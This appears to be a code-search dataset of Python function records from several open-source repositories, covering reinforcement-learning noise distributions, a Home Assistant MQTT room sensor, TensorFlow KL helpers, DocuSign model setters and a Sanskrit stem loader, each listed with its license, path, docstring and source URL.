self.exploration_mat = self.weights_dist.rsample() self.exploration_matrices = self.weights_dist.rsample((batch_size,)) def proba_distribution_net( self, latent_dim: int, log_std_init: float = -2.0, latent_sde_dim: Optional[int] = None ) -> Tuple[nn.Module, nn.Parameter]: mean_actions_net = nn.Linear(latent_dim, self.action_dim) self.latent_sde_dim = latent_dim if latent_sde_dim is None else latent_sde_dim log_std = th.ones(self.latent_sde_dim, self.action_dim) if self.full_std else th.ones(self.latent_sde_dim, 1) log_std = nn.Parameter(log_std * log_std_init, requires_grad=True) self.sample_weights(log_std) return mean_actions_net, log_std def proba_distribution( self, mean_actions: th.Tensor, log_std: th.Tensor, latent_sde: th.Tensor ) -> "StateDependentNoiseDistribution": self._latent_sde = latent_sde if self.learn_features else latent_sde.detach() variance = th.mm(self._latent_sde ** 2, self.get_std(log_std) ** 2) self.distribution = Normal(mean_actions, th.sqrt(variance + self.epsilon)) return self def log_prob(self, actions: th.Tensor) -> th.Tensor: if self.bijector is not None: gaussian_actions = self.bijector.inverse(actions) else: gaussian_actions = actions log_prob = self.distribution.log_prob(gaussian_actions) log_prob = sum_independent_dims(log_prob) if self.bijector is not None: log_prob -= th.sum(self.bijector.log_prob_correction(gaussian_actions), dim=1) return log_prob def entropy(self) -> Optional[th.Tensor]: if self.bijector is not None: return None return sum_independent_dims(self.distribution.entropy()) def sample(self) -> th.Tensor: noise = self.get_noise(self._latent_sde) actions = self.distribution.mean + noise if self.bijector is not None: return self.bijector.forward(actions) return actions def mode(self) -> th.Tensor: actions = self.distribution.mean if self.bijector is not None: return self.bijector.forward(actions) return actions def get_noise(self, latent_sde: th.Tensor) -> th.Tensor: latent_sde = latent_sde if self.learn_features else latent_sde.detach() if len(latent_sde) == 1 or len(latent_sde) != len(self.exploration_matrices): return th.mm(latent_sde, self.exploration_mat) latent_sde = latent_sde.unsqueeze(1) noise = th.bmm(latent_sde, self.exploration_matrices) return noise.squeeze(1) def actions_from_params( self, mean_actions: th.Tensor, log_std: th.Tensor, latent_sde: th.Tensor, deterministic: bool = False ) -> th.Tensor: self.proba_distribution(mean_actions, log_std, latent_sde) return self.get_actions(deterministic=deterministic) def log_prob_from_params( self, mean_actions: th.Tensor, log_std: th.Tensor, latent_sde: th.Tensor ) -> Tuple[th.Tensor, th.Tensor]: actions = self.actions_from_params(mean_actions, log_std, latent_sde) log_prob = self.log_prob(actions) return actions, log_prob class TanhBijector(object): def __init__(self, epsilon: float = 1e-6): super(TanhBijector, self).__init__() self.epsilon = epsilon @staticmethod def forward(x: th.Tensor) -> th.Tensor: return th.tanh(x) @staticmethod def atanh(x: th.Tensor) -> th.Tensor: return 0.5 * (x.log1p() - (-x).log1p()) @staticmethod
MIT License
jest-community/jest-pytest
src/__tests__/integration/home-assistant/homeassistant/components/sensor/mqtt_room.py
MQTTRoomSensor.update
python
def update(self): if self._updated and self._consider_home and dt.utcnow() - self._updated > self._consider_home: self._state = STATE_NOT_HOME
Update the state for absent devices.
https://github.com/jest-community/jest-pytest/blob/b197b0b31e3ca5c411202d97583cbd2d2b0b92e9/src/__tests__/integration/home-assistant/homeassistant/components/sensor/mqtt_room.py#L140-L145
import asyncio import logging import json from datetime import timedelta import voluptuous as vol import homeassistant.components.mqtt as mqtt import homeassistant.helpers.config_validation as cv from homeassistant.components.mqtt import CONF_STATE_TOPIC from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import ( CONF_NAME, CONF_TIMEOUT, STATE_NOT_HOME, ATTR_ID) from homeassistant.core import callback from homeassistant.helpers.entity import Entity from homeassistant.util import dt, slugify _LOGGER = logging.getLogger(__name__) DEPENDENCIES = ['mqtt'] ATTR_DEVICE_ID = 'device_id' ATTR_DISTANCE = 'distance' ATTR_ROOM = 'room' CONF_DEVICE_ID = 'device_id' CONF_AWAY_TIMEOUT = 'away_timeout' DEFAULT_AWAY_TIMEOUT = 0 DEFAULT_NAME = 'Room Sensor' DEFAULT_TIMEOUT = 5 DEFAULT_TOPIC = 'room_presence' PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({ vol.Required(CONF_DEVICE_ID): cv.string, vol.Required(CONF_STATE_TOPIC, default=DEFAULT_TOPIC): cv.string, vol.Required(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int, vol.Optional(CONF_AWAY_TIMEOUT, default=DEFAULT_AWAY_TIMEOUT): cv.positive_int, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string }) MQTT_PAYLOAD = vol.Schema(vol.All(json.loads, vol.Schema({ vol.Required(ATTR_ID): cv.string, vol.Required(ATTR_DISTANCE): vol.Coerce(float), }, extra=vol.ALLOW_EXTRA))) @asyncio.coroutine def async_setup_platform(hass, config, async_add_devices, discovery_info=None): async_add_devices([MQTTRoomSensor( config.get(CONF_NAME), config.get(CONF_STATE_TOPIC), config.get(CONF_DEVICE_ID), config.get(CONF_TIMEOUT), config.get(CONF_AWAY_TIMEOUT) )]) class MQTTRoomSensor(Entity): def __init__(self, name, state_topic, device_id, timeout, consider_home): self._state = STATE_NOT_HOME self._name = name self._state_topic = '{}{}'.format(state_topic, '/+') self._device_id = slugify(device_id).upper() self._timeout = timeout self._consider_home = timedelta(seconds=consider_home) if consider_home else None self._distance = None self._updated = None @asyncio.coroutine def async_added_to_hass(self): @callback def update_state(device_id, room, distance): self._state = room self._distance = distance self._updated = dt.utcnow() self.async_schedule_update_ha_state() @callback def message_received(topic, payload, qos): try: data = MQTT_PAYLOAD(payload) except vol.MultipleInvalid as error: _LOGGER.debug( "Skipping update because of malformatted data: %s", error) return device = _parse_update_data(topic, data) if device.get(CONF_DEVICE_ID) == self._device_id: if self._distance is None or self._updated is None: update_state(**device) else: timediff = dt.utcnow() - self._updated if device.get(ATTR_ROOM) == self._state or device.get(ATTR_DISTANCE) < self._distance or timediff.seconds >= self._timeout: update_state(**device) return mqtt.async_subscribe( self.hass, self._state_topic, message_received, 1) @property def name(self): return self._name @property def device_state_attributes(self): return { ATTR_DISTANCE: self._distance } @property def state(self): return self._state
MIT License
semiunsupervisedlearning/dgms_for_semi-unsupervised_learning
src/utils/dgm.py
discreteUniformKL
python
def discreteUniformKL(logits, n_size, dim=-1): return - tf.nn.softmax_cross_entropy_with_logits_v2( labels=tf.nn.softmax(logits), logits=logits, dim=dim) + tf.log(n_size)
KL divergence for discrete/categorical probabilties returns KL(q||p) where q is a tf tensor in logits and p, not given, is uniform.
https://github.com/semiunsupervisedlearning/dgms_for_semi-unsupervised_learning/blob/a89c7be92403c3582f3bce534f982382f9733055/src/utils/dgm.py#L80-L89
from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf from tensorflow.contrib.layers import xavier_initializer from tensorflow.contrib.distributions import RelaxedOneHotCategorical as Gumbel from utils.utils import softmax glorotNormal = xavier_initializer(uniform=False) initNormal = tf.random_normal_initializer(stddev=1e-3) def gaussianLogDensity(inputs, mu, log_var): D = tf.cast(tf.shape(inputs)[-1], tf.float32) xc = inputs - mu return -0.5 * (tf.reduce_sum((xc * xc) / tf.exp(log_var), axis=-1) + tf.reduce_sum(log_var, axis=-1) + D * tf.log(2.0 * np.pi)) def gaussianLogDensity_axis(inputs, mu, log_var): xc = inputs - mu return -0.5 * ((xc * xc) / tf.exp(log_var) + log_var + tf.log(2.0 * np.pi)) def gaussianLogDensity_np(inputs, mu, log_var): D = inputs.shape[-1] xc = inputs - mu return -0.5 * (np.sum((xc * xc) / np.exp(log_var), axis=-1) + np.sum(log_var, axis=-1) + D * np.log(2.0 * np.pi)) def standardNormalLogDensity(inputs): mu = tf.zeros_like(inputs) log_var = tf.log(tf.ones_like(inputs)) return gaussianLogDensity(inputs, mu, log_var) def bernoulliLogDensity(inputs, logits): return -tf.reduce_sum(tf.nn.sigmoid_cross_entropy_with_logits( labels=inputs, logits=logits), axis=-1) def multinoulliLogDensity(inputs, preds, on_priors=False): if on_priors is False: return -tf.nn.softmax_cross_entropy_with_logits( labels=inputs, logits=preds) else: return tf.reduce_sum(inputs * tf.log(preds + 1e-10), axis=-1) def multinoulliUniformLogDensity(logits, dim=-1, order=True,): if order is True: labels = tf.divide(tf.ones_like(logits), tf.norm(tf.ones_like(logits), ord=1, axis=dim, keepdims=True)) return - tf.nn.softmax_cross_entropy_with_logits(labels=labels, logits=logits, dim=dim) else: labels = tf.ones_like(logits) return -tf.nn.softmax_cross_entropy_with_logits(labels=logits, logits=labels, dim=dim)
MIT License
davidomarf/ginpar
ginpar/utils/echo.py
alert
python
def alert(m): click.secho(m, fg="yellow")
Warnings and alerts that may change Ginpar behavior. Yellow foreground.
https://github.com/davidomarf/ginpar/blob/cee1676ba2280d09f43a52f5145b28388b8e1152/ginpar/utils/echo.py#L35-L38
import click def echo(m): click.echo(m) def info(m): click.secho(m, fg="blue") def success(m): click.secho(m, fg="green") def error(m): click.secho(m, fg="red")
MIT License
docusign/docusign-python-client
docusign_esign/models/company.py
Company.anchor_allow_white_space_in_characters_metadata
python
def anchor_allow_white_space_in_characters_metadata(self, anchor_allow_white_space_in_characters_metadata): self._anchor_allow_white_space_in_characters_metadata = anchor_allow_white_space_in_characters_metadata
Sets the anchor_allow_white_space_in_characters_metadata of this Company. :param anchor_allow_white_space_in_characters_metadata: The anchor_allow_white_space_in_characters_metadata of this Company. # noqa: E501 :type: PropertyMetadata
https://github.com/docusign/docusign-python-client/blob/c6aeafff0d046fa6c10a398be83ba9e24b05d4ea/docusign_esign/models/company.py#L484-L492
import pprint import re import six from docusign_esign.client.configuration import Configuration class Company(object): """ Attributes: swagger_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ swagger_types = { 'anchor_allow_white_space_in_characters': 'str', 'anchor_allow_white_space_in_characters_metadata': 'PropertyMetadata', 'anchor_case_sensitive': 'str', 'anchor_case_sensitive_metadata': 'PropertyMetadata', 'anchor_horizontal_alignment': 'str', 'anchor_horizontal_alignment_metadata': 'PropertyMetadata', 'anchor_ignore_if_not_present': 'str', 'anchor_ignore_if_not_present_metadata': 'PropertyMetadata', 'anchor_match_whole_word': 'str', 'anchor_match_whole_word_metadata': 'PropertyMetadata', 'anchor_string': 'str', 'anchor_string_metadata': 'PropertyMetadata', 'anchor_tab_processor_version': 'str', 'anchor_tab_processor_version_metadata': 'PropertyMetadata', 'anchor_units': 'str', 'anchor_units_metadata': 'PropertyMetadata', 'anchor_x_offset': 'str', 'anchor_x_offset_metadata': 'PropertyMetadata', 'anchor_y_offset': 'str', 'anchor_y_offset_metadata': 'PropertyMetadata', 'bold': 'str', 'bold_metadata': 'PropertyMetadata', 'conceal_value_on_document': 'str', 'conceal_value_on_document_metadata': 'PropertyMetadata', 'conditional_parent_label': 'str', 'conditional_parent_label_metadata': 'PropertyMetadata', 'conditional_parent_value': 'str', 'conditional_parent_value_metadata': 'PropertyMetadata', 'custom_tab_id': 'str', 'custom_tab_id_metadata': 'PropertyMetadata', 'disable_auto_size': 'str', 'disable_auto_size_metadata': 'PropertyMetadata', 'document_id': 'str', 'document_id_metadata': 'PropertyMetadata', 'error_details': 'ErrorDetails', 'font': 'str', 'font_color': 'str', 'font_color_metadata': 'PropertyMetadata', 'font_metadata': 'PropertyMetadata', 'font_size': 'str', 'font_size_metadata': 'PropertyMetadata', 'form_order': 'str', 'form_order_metadata': 'PropertyMetadata', 'form_page_label': 'str', 'form_page_label_metadata': 'PropertyMetadata', 'form_page_number': 'str', 'form_page_number_metadata': 'PropertyMetadata', 'height': 'str', 'height_metadata': 'PropertyMetadata', 'italic': 'str', 'italic_metadata': 'PropertyMetadata', 'locale_policy': 'LocalePolicyTab', 'locked': 'str', 'locked_metadata': 'PropertyMetadata', 'max_length': 'str', 'max_length_metadata': 'PropertyMetadata', 'merge_field': 'MergeField', 'merge_field_xml': 'str', 'name': 'str', 'name_metadata': 'PropertyMetadata', 'original_value': 'str', 'original_value_metadata': 'PropertyMetadata', 'page_number': 'str', 'page_number_metadata': 'PropertyMetadata', 'recipient_id': 'str', 'recipient_id_guid': 'str', 'recipient_id_guid_metadata': 'PropertyMetadata', 'recipient_id_metadata': 'PropertyMetadata', 'required': 'str', 'required_metadata': 'PropertyMetadata', 'smart_contract_information': 'SmartContractInformation', 'source': 'str', 'status': 'str', 'status_metadata': 'PropertyMetadata', 'tab_group_labels': 'list[str]', 'tab_group_labels_metadata': 'PropertyMetadata', 'tab_id': 'str', 'tab_id_metadata': 'PropertyMetadata', 'tab_label': 'str', 'tab_label_metadata': 'PropertyMetadata', 'tab_order': 'str', 'tab_order_metadata': 'PropertyMetadata', 'tab_type': 'str', 'tab_type_metadata': 'PropertyMetadata', 'template_locked': 'str', 'template_locked_metadata': 'PropertyMetadata', 'template_required': 'str', 'template_required_metadata': 'PropertyMetadata', 'tooltip': 'str', 'tool_tip_metadata': 'PropertyMetadata', 'underline': 'str', 'underline_metadata': 'PropertyMetadata', 'value': 'str', 'value_metadata': 'PropertyMetadata', 'width': 'str', 'width_metadata': 'PropertyMetadata', 'x_position': 'str', 'x_position_metadata': 'PropertyMetadata', 'y_position': 'str', 'y_position_metadata': 'PropertyMetadata' } attribute_map = { 'anchor_allow_white_space_in_characters': 'anchorAllowWhiteSpaceInCharacters', 'anchor_allow_white_space_in_characters_metadata': 'anchorAllowWhiteSpaceInCharactersMetadata', 'anchor_case_sensitive': 'anchorCaseSensitive', 'anchor_case_sensitive_metadata': 'anchorCaseSensitiveMetadata', 'anchor_horizontal_alignment': 'anchorHorizontalAlignment', 'anchor_horizontal_alignment_metadata': 'anchorHorizontalAlignmentMetadata', 'anchor_ignore_if_not_present': 'anchorIgnoreIfNotPresent', 'anchor_ignore_if_not_present_metadata': 'anchorIgnoreIfNotPresentMetadata', 'anchor_match_whole_word': 'anchorMatchWholeWord', 'anchor_match_whole_word_metadata': 'anchorMatchWholeWordMetadata', 'anchor_string': 'anchorString', 'anchor_string_metadata': 'anchorStringMetadata', 'anchor_tab_processor_version': 'anchorTabProcessorVersion', 'anchor_tab_processor_version_metadata': 'anchorTabProcessorVersionMetadata', 'anchor_units': 'anchorUnits', 'anchor_units_metadata': 'anchorUnitsMetadata', 'anchor_x_offset': 'anchorXOffset', 'anchor_x_offset_metadata': 'anchorXOffsetMetadata', 'anchor_y_offset': 'anchorYOffset', 'anchor_y_offset_metadata': 'anchorYOffsetMetadata', 'bold': 'bold', 'bold_metadata': 'boldMetadata', 'conceal_value_on_document': 'concealValueOnDocument', 'conceal_value_on_document_metadata': 'concealValueOnDocumentMetadata', 'conditional_parent_label': 'conditionalParentLabel', 'conditional_parent_label_metadata': 'conditionalParentLabelMetadata', 'conditional_parent_value': 'conditionalParentValue', 'conditional_parent_value_metadata': 'conditionalParentValueMetadata', 'custom_tab_id': 'customTabId', 'custom_tab_id_metadata': 'customTabIdMetadata', 'disable_auto_size': 'disableAutoSize', 'disable_auto_size_metadata': 'disableAutoSizeMetadata', 'document_id': 'documentId', 'document_id_metadata': 'documentIdMetadata', 'error_details': 'errorDetails', 'font': 'font', 'font_color': 'fontColor', 'font_color_metadata': 'fontColorMetadata', 'font_metadata': 'fontMetadata', 'font_size': 'fontSize', 'font_size_metadata': 'fontSizeMetadata', 'form_order': 'formOrder', 'form_order_metadata': 'formOrderMetadata', 'form_page_label': 'formPageLabel', 'form_page_label_metadata': 'formPageLabelMetadata', 'form_page_number': 'formPageNumber', 'form_page_number_metadata': 'formPageNumberMetadata', 'height': 'height', 'height_metadata': 'heightMetadata', 'italic': 'italic', 'italic_metadata': 'italicMetadata', 'locale_policy': 'localePolicy', 'locked': 'locked', 'locked_metadata': 'lockedMetadata', 'max_length': 'maxLength', 'max_length_metadata': 'maxLengthMetadata', 'merge_field': 'mergeField', 'merge_field_xml': 'mergeFieldXml', 'name': 'name', 'name_metadata': 'nameMetadata', 'original_value': 'originalValue', 'original_value_metadata': 'originalValueMetadata', 'page_number': 'pageNumber', 'page_number_metadata': 'pageNumberMetadata', 'recipient_id': 'recipientId', 'recipient_id_guid': 'recipientIdGuid', 'recipient_id_guid_metadata': 'recipientIdGuidMetadata', 'recipient_id_metadata': 'recipientIdMetadata', 'required': 'required', 'required_metadata': 'requiredMetadata', 'smart_contract_information': 'smartContractInformation', 'source': 'source', 'status': 'status', 'status_metadata': 'statusMetadata', 'tab_group_labels': 'tabGroupLabels', 'tab_group_labels_metadata': 'tabGroupLabelsMetadata', 'tab_id': 'tabId', 'tab_id_metadata': 'tabIdMetadata', 'tab_label': 'tabLabel', 'tab_label_metadata': 'tabLabelMetadata', 'tab_order': 'tabOrder', 'tab_order_metadata': 'tabOrderMetadata', 'tab_type': 'tabType', 'tab_type_metadata': 'tabTypeMetadata', 'template_locked': 'templateLocked', 'template_locked_metadata': 'templateLockedMetadata', 'template_required': 'templateRequired', 'template_required_metadata': 'templateRequiredMetadata', 'tooltip': 'tooltip', 'tool_tip_metadata': 'toolTipMetadata', 'underline': 'underline', 'underline_metadata': 'underlineMetadata', 'value': 'value', 'value_metadata': 'valueMetadata', 'width': 'width', 'width_metadata': 'widthMetadata', 'x_position': 'xPosition', 'x_position_metadata': 'xPositionMetadata', 'y_position': 'yPosition', 'y_position_metadata': 'yPositionMetadata' } def __init__(self, _configuration=None, **kwargs): if _configuration is None: _configuration = Configuration() self._configuration = _configuration self._anchor_allow_white_space_in_characters = None self._anchor_allow_white_space_in_characters_metadata = None self._anchor_case_sensitive = None self._anchor_case_sensitive_metadata = None self._anchor_horizontal_alignment = None self._anchor_horizontal_alignment_metadata = None self._anchor_ignore_if_not_present = None self._anchor_ignore_if_not_present_metadata = None self._anchor_match_whole_word = None self._anchor_match_whole_word_metadata = None self._anchor_string = None self._anchor_string_metadata = None self._anchor_tab_processor_version = None self._anchor_tab_processor_version_metadata = None self._anchor_units = None self._anchor_units_metadata = None self._anchor_x_offset = None self._anchor_x_offset_metadata = None self._anchor_y_offset = None self._anchor_y_offset_metadata = None self._bold = None self._bold_metadata = None self._conceal_value_on_document = None self._conceal_value_on_document_metadata = None self._conditional_parent_label = None self._conditional_parent_label_metadata = None self._conditional_parent_value = None self._conditional_parent_value_metadata = None self._custom_tab_id = None self._custom_tab_id_metadata = None self._disable_auto_size = None self._disable_auto_size_metadata = None self._document_id = None self._document_id_metadata = None self._error_details = None self._font = None self._font_color = None self._font_color_metadata = None self._font_metadata = None self._font_size = None self._font_size_metadata = None self._form_order = None self._form_order_metadata = None self._form_page_label = None self._form_page_label_metadata = None self._form_page_number = None self._form_page_number_metadata = None self._height = None self._height_metadata = None self._italic = None self._italic_metadata = None self._locale_policy = None self._locked = None self._locked_metadata = None self._max_length = None self._max_length_metadata = None self._merge_field = None self._merge_field_xml = None self._name = None self._name_metadata = None self._original_value = None self._original_value_metadata = None self._page_number = None self._page_number_metadata = None self._recipient_id = None self._recipient_id_guid = None self._recipient_id_guid_metadata = None self._recipient_id_metadata = None self._required = None self._required_metadata = None self._smart_contract_information = None self._source = None self._status = None self._status_metadata = None self._tab_group_labels = None self._tab_group_labels_metadata = None self._tab_id = None self._tab_id_metadata = None self._tab_label = None self._tab_label_metadata = None self._tab_order = None self._tab_order_metadata = None self._tab_type = None self._tab_type_metadata = None self._template_locked = None self._template_locked_metadata = None self._template_required = None self._template_required_metadata = None self._tooltip = None self._tool_tip_metadata = None self._underline = None self._underline_metadata = None self._value = None self._value_metadata = None self._width = None self._width_metadata = None self._x_position = None self._x_position_metadata = None self._y_position = None self._y_position_metadata = None self.discriminator = None setattr(self, "_{}".format('anchor_allow_white_space_in_characters'), kwargs.get('anchor_allow_white_space_in_characters', None)) setattr(self, "_{}".format('anchor_allow_white_space_in_characters_metadata'), kwargs.get('anchor_allow_white_space_in_characters_metadata', None)) setattr(self, "_{}".format('anchor_case_sensitive'), kwargs.get('anchor_case_sensitive', None)) setattr(self, "_{}".format('anchor_case_sensitive_metadata'), kwargs.get('anchor_case_sensitive_metadata', None)) setattr(self, "_{}".format('anchor_horizontal_alignment'), kwargs.get('anchor_horizontal_alignment', None)) setattr(self, "_{}".format('anchor_horizontal_alignment_metadata'), kwargs.get('anchor_horizontal_alignment_metadata', None)) setattr(self, "_{}".format('anchor_ignore_if_not_present'), kwargs.get('anchor_ignore_if_not_present', None)) setattr(self, "_{}".format('anchor_ignore_if_not_present_metadata'), kwargs.get('anchor_ignore_if_not_present_metadata', None)) setattr(self, "_{}".format('anchor_match_whole_word'), kwargs.get('anchor_match_whole_word', None)) setattr(self, "_{}".format('anchor_match_whole_word_metadata'), kwargs.get('anchor_match_whole_word_metadata', None)) setattr(self, "_{}".format('anchor_string'), kwargs.get('anchor_string', None)) setattr(self, "_{}".format('anchor_string_metadata'), kwargs.get('anchor_string_metadata', None)) setattr(self, "_{}".format('anchor_tab_processor_version'), kwargs.get('anchor_tab_processor_version', None)) setattr(self, "_{}".format('anchor_tab_processor_version_metadata'), kwargs.get('anchor_tab_processor_version_metadata', None)) setattr(self, "_{}".format('anchor_units'), kwargs.get('anchor_units', None)) setattr(self, "_{}".format('anchor_units_metadata'), kwargs.get('anchor_units_metadata', None)) setattr(self, "_{}".format('anchor_x_offset'), kwargs.get('anchor_x_offset', None)) setattr(self, "_{}".format('anchor_x_offset_metadata'), kwargs.get('anchor_x_offset_metadata', None)) setattr(self, "_{}".format('anchor_y_offset'), kwargs.get('anchor_y_offset', None)) setattr(self, "_{}".format('anchor_y_offset_metadata'), kwargs.get('anchor_y_offset_metadata', None)) setattr(self, "_{}".format('bold'), kwargs.get('bold', None)) setattr(self, "_{}".format('bold_metadata'), kwargs.get('bold_metadata', None)) setattr(self, "_{}".format('conceal_value_on_document'), kwargs.get('conceal_value_on_document', None)) setattr(self, "_{}".format('conceal_value_on_document_metadata'), kwargs.get('conceal_value_on_document_metadata', None)) setattr(self, "_{}".format('conditional_parent_label'), kwargs.get('conditional_parent_label', None)) setattr(self, "_{}".format('conditional_parent_label_metadata'), kwargs.get('conditional_parent_label_metadata', None)) setattr(self, "_{}".format('conditional_parent_value'), kwargs.get('conditional_parent_value', None)) setattr(self, "_{}".format('conditional_parent_value_metadata'), kwargs.get('conditional_parent_value_metadata', None)) setattr(self, "_{}".format('custom_tab_id'), kwargs.get('custom_tab_id', None)) setattr(self, "_{}".format('custom_tab_id_metadata'), kwargs.get('custom_tab_id_metadata', None)) setattr(self, "_{}".format('disable_auto_size'), kwargs.get('disable_auto_size', None)) setattr(self, "_{}".format('disable_auto_size_metadata'), kwargs.get('disable_auto_size_metadata', None)) setattr(self, "_{}".format('document_id'), kwargs.get('document_id', None)) setattr(self, "_{}".format('document_id_metadata'), kwargs.get('document_id_metadata', None)) setattr(self, "_{}".format('error_details'), kwargs.get('error_details', None)) setattr(self, "_{}".format('font'), kwargs.get('font', None)) setattr(self, "_{}".format('font_color'), kwargs.get('font_color', None)) setattr(self, "_{}".format('font_color_metadata'), kwargs.get('font_color_metadata', None)) setattr(self, "_{}".format('font_metadata'), kwargs.get('font_metadata', None)) setattr(self, "_{}".format('font_size'), kwargs.get('font_size', None)) setattr(self, "_{}".format('font_size_metadata'), kwargs.get('font_size_metadata', None)) setattr(self, "_{}".format('form_order'), kwargs.get('form_order', None)) setattr(self, "_{}".format('form_order_metadata'), kwargs.get('form_order_metadata', None)) setattr(self, "_{}".format('form_page_label'), kwargs.get('form_page_label', None)) setattr(self, "_{}".format('form_page_label_metadata'), kwargs.get('form_page_label_metadata', None)) setattr(self, "_{}".format('form_page_number'), kwargs.get('form_page_number', None)) setattr(self, "_{}".format('form_page_number_metadata'), kwargs.get('form_page_number_metadata', None)) setattr(self, "_{}".format('height'), kwargs.get('height', None)) setattr(self, "_{}".format('height_metadata'), kwargs.get('height_metadata', None)) setattr(self, "_{}".format('italic'), kwargs.get('italic', None)) setattr(self, "_{}".format('italic_metadata'), kwargs.get('italic_metadata', None)) setattr(self, "_{}".format('locale_policy'), kwargs.get('locale_policy', None)) setattr(self, "_{}".format('locked'), kwargs.get('locked', None)) setattr(self, "_{}".format('locked_metadata'), kwargs.get('locked_metadata', None)) setattr(self, "_{}".format('max_length'), kwargs.get('max_length', None)) setattr(self, "_{}".format('max_length_metadata'), kwargs.get('max_length_metadata', None)) setattr(self, "_{}".format('merge_field'), kwargs.get('merge_field', None)) setattr(self, "_{}".format('merge_field_xml'), kwargs.get('merge_field_xml', None)) setattr(self, "_{}".format('name'), kwargs.get('name', None)) setattr(self, "_{}".format('name_metadata'), kwargs.get('name_metadata', None)) setattr(self, "_{}".format('original_value'), kwargs.get('original_value', None)) setattr(self, "_{}".format('original_value_metadata'), kwargs.get('original_value_metadata', None)) setattr(self, "_{}".format('page_number'), kwargs.get('page_number', None)) setattr(self, "_{}".format('page_number_metadata'), kwargs.get('page_number_metadata', None)) setattr(self, "_{}".format('recipient_id'), kwargs.get('recipient_id', None)) setattr(self, "_{}".format('recipient_id_guid'), kwargs.get('recipient_id_guid', None)) setattr(self, "_{}".format('recipient_id_guid_metadata'), kwargs.get('recipient_id_guid_metadata', None)) setattr(self, "_{}".format('recipient_id_metadata'), kwargs.get('recipient_id_metadata', None)) setattr(self, "_{}".format('required'), kwargs.get('required', None)) setattr(self, "_{}".format('required_metadata'), kwargs.get('required_metadata', None)) setattr(self, "_{}".format('smart_contract_information'), kwargs.get('smart_contract_information', None)) setattr(self, "_{}".format('source'), kwargs.get('source', None)) setattr(self, "_{}".format('status'), kwargs.get('status', None)) setattr(self, "_{}".format('status_metadata'), kwargs.get('status_metadata', None)) setattr(self, "_{}".format('tab_group_labels'), kwargs.get('tab_group_labels', None)) setattr(self, "_{}".format('tab_group_labels_metadata'), kwargs.get('tab_group_labels_metadata', None)) setattr(self, "_{}".format('tab_id'), kwargs.get('tab_id', None)) setattr(self, "_{}".format('tab_id_metadata'), kwargs.get('tab_id_metadata', None)) setattr(self, "_{}".format('tab_label'), kwargs.get('tab_label', None)) setattr(self, "_{}".format('tab_label_metadata'), kwargs.get('tab_label_metadata', None)) setattr(self, "_{}".format('tab_order'), kwargs.get('tab_order', None)) setattr(self, "_{}".format('tab_order_metadata'), kwargs.get('tab_order_metadata', None)) setattr(self, "_{}".format('tab_type'), kwargs.get('tab_type', None)) setattr(self, "_{}".format('tab_type_metadata'), kwargs.get('tab_type_metadata', None)) setattr(self, "_{}".format('template_locked'), kwargs.get('template_locked', None)) setattr(self, "_{}".format('template_locked_metadata'), kwargs.get('template_locked_metadata', None)) setattr(self, "_{}".format('template_required'), kwargs.get('template_required', None)) setattr(self, "_{}".format('template_required_metadata'), kwargs.get('template_required_metadata', None)) setattr(self, "_{}".format('tooltip'), kwargs.get('tooltip', None)) setattr(self, "_{}".format('tool_tip_metadata'), kwargs.get('tool_tip_metadata', None)) setattr(self, "_{}".format('underline'), kwargs.get('underline', None)) setattr(self, "_{}".format('underline_metadata'), kwargs.get('underline_metadata', None)) setattr(self, "_{}".format('value'), kwargs.get('value', None)) setattr(self, "_{}".format('value_metadata'), kwargs.get('value_metadata', None)) setattr(self, "_{}".format('width'), kwargs.get('width', None)) setattr(self, "_{}".format('width_metadata'), kwargs.get('width_metadata', None)) setattr(self, "_{}".format('x_position'), kwargs.get('x_position', None)) setattr(self, "_{}".format('x_position_metadata'), kwargs.get('x_position_metadata', None)) setattr(self, "_{}".format('y_position'), kwargs.get('y_position', None)) setattr(self, "_{}".format('y_position_metadata'), kwargs.get('y_position_metadata', None)) @property def anchor_allow_white_space_in_characters(self): return self._anchor_allow_white_space_in_characters @anchor_allow_white_space_in_characters.setter def anchor_allow_white_space_in_characters(self, anchor_allow_white_space_in_characters): self._anchor_allow_white_space_in_characters = anchor_allow_white_space_in_characters @property def anchor_allow_white_space_in_characters_metadata(self): return self._anchor_allow_white_space_in_characters_metadata @anchor_allow_white_space_in_characters_metadata.setter
MIT License
a5kin/xentica
xentica/core/properties.py
Property.dtype
python
def dtype(self): return self.best_type[1]
Get the NumPy dtype, based on the result of :meth:`best_type`. :returns: NumPy dtype that suits best to store a property.
https://github.com/a5kin/xentica/blob/ca08fac9f85af71c9d6d98545a33d50323f851b3/xentica/core/properties.py#L101-L109
import math import abc import inspect from collections import OrderedDict import numpy as np from cached_property import cached_property from xentica.core.expressions import DeferredExpression from xentica.core.exceptions import XenticaException from xentica.core.mixins import BscaDetectorMixin from xentica.tools import xmath __all__ = ['Property', 'IntegerProperty', 'ContainerProperty', ] class Property(DeferredExpression, BscaDetectorMixin): def __init__(self): self._types = ( (8, np.uint8, 'char'), (16, np.uint16, 'short'), (32, np.uint32, 'int'), (64, np.uint64, 'long'), ) self._buf_num, self._nbr_num = 1, 1 super().__init__() @cached_property def best_type(self): _best_type = self._types[-1] for _type in self._types: type_width = _type[0] if self.bit_width <= type_width: _best_type = _type break return _best_type @cached_property
MIT License
sanskrit/sanskrit
sanskrit/setup.py
add_nominal_stems
python
def add_nominal_stems(ctx): conn = ctx.engine.connect() ins = NominalStem.__table__.insert() gender_group = ENUM['gender_group'] buf = [] i = 0 tick = util.tick_every(5000) for row in util.read_csv(ctx.config['NOMINAL_STEMS']): genders_id = gender_group[row['stem_genders']] buf.append({ 'name': row['stem'], 'pos_id': Tag.NOMINAL, 'genders_id': genders_id, }) tick(row['stem']) i += 1 if i % 500 == 0: conn.execute(ins, buf) buf = [] if buf: conn.execute(ins, buf)
Add regular noun stems to the database.
https://github.com/sanskrit/sanskrit/blob/97dd42ffbad5339945b7ecfd54c44ae94a047114/sanskrit/setup.py#L377-L406
